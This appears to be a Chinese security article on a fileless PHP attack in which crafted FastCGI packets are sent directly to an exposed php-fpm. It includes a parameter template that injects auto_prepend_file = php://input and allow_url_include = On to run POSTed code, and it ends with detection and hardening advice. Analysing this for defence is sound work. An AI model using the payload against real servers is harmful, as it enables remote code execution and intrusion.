php无文件攻击(一) - fastcgi
字数 1427 2025-08-10 08:29:04
PHP无文件攻击技术分析:FastCGI协议利用
一、技术背景
随着HW行动和攻防对抗强度提高,传统webshell文件落地检测技术日益成熟,无文件攻击成为新的研究趋势。本文介绍通过模拟FastCGI协议直接控制php-fpm执行任意PHP代码的方法,全程无需文件落地。
二、PHP常见部署架构
典型PHP Web项目部署模式:
- Nginx作为反向代理
- php-fpm处理PHP请求
标准访问流程:
- 用户请求通过Nginx接收
- Nginx按照FastCGI协议打包请求
- 通过TCP传递给php-fpm
- php-fpm解析执行并返回结果
三、FastCGI协议基础
FastCGI是服务器中间件和后端进行数据交换的协议,php-fpm实质上是FastCGI协议的解析器。
示例请求:http://127.0.0.1/index.php?a=1&b=2
Nginx生成的FastCGI参数:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
关键参数:
SCRIPT_FILENAME:指定要执行的PHP文件路径SCRIPT_NAME:脚本名称QUERY_STRING:查询参数
四、攻击原理
当php-fpm可被直接访问时(未授权访问或通过SSRF),攻击者可构造FastCGI协议数据包直接发送给php-fpm执行任意代码。
攻击前提条件
- php-fpm服务可被直接访问
- 需要利用PHP的两个配置项:
auto_prepend_file:在执行目标文件前包含指定文件auto_append_file:在执行目标文件后包含指定文件
关键利用技术
设置auto_prepend_file为php://input,使PHP在执行任何文件前都会包含POST内容,从而执行攻击者构造的代码。
五、攻击数据包构造
示例攻击协议包:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': '/',
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': '/',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
关键攻击参数:
PHP_VALUE:设置auto_prepend_file = php://inputPHP_ADMIN_VALUE:设置allow_url_include = On- POST内容为要执行的PHP代码,如
<?php phpinfo(); exit; ?>
六、环境变量说明
-
PHP_VALUE:- 可设置模式为
PHP_INI_USER和PHP_INI_ALL的PHP配置选项
- 可设置模式为
-
PHP_ADMIN_VALUE:- 可设置所有PHP配置选项
- 例外:
disable_functions无法通过此方式修改(在PHP加载时已确定)
七、攻击实现参考
可参考phith0n构建的FastCGI客户端代码:
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
八、防御检测方案
-
检测
PHP_VALUE和PHP_ADMIN_VALUE中敏感字段是否被修改:auto_prepend_fileauto_append_fileallow_url_include
-
由于php-fpm可能有多个worker,需循环检测多次以覆盖所有worker
九、技术总结
该攻击方式特点:
- 完全无文件落地
- 直接与php-fpm交互,绕过Web服务器层
- 利用PHP配置项实现代码执行
- 需要php-fpm暴露或可通过SSRF访问
防御重点:
- 限制php-fpm访问(绑定127.0.0.1,设置访问控制)
- 监控异常FastCGI请求
- 限制PHP危险配置项的修改权限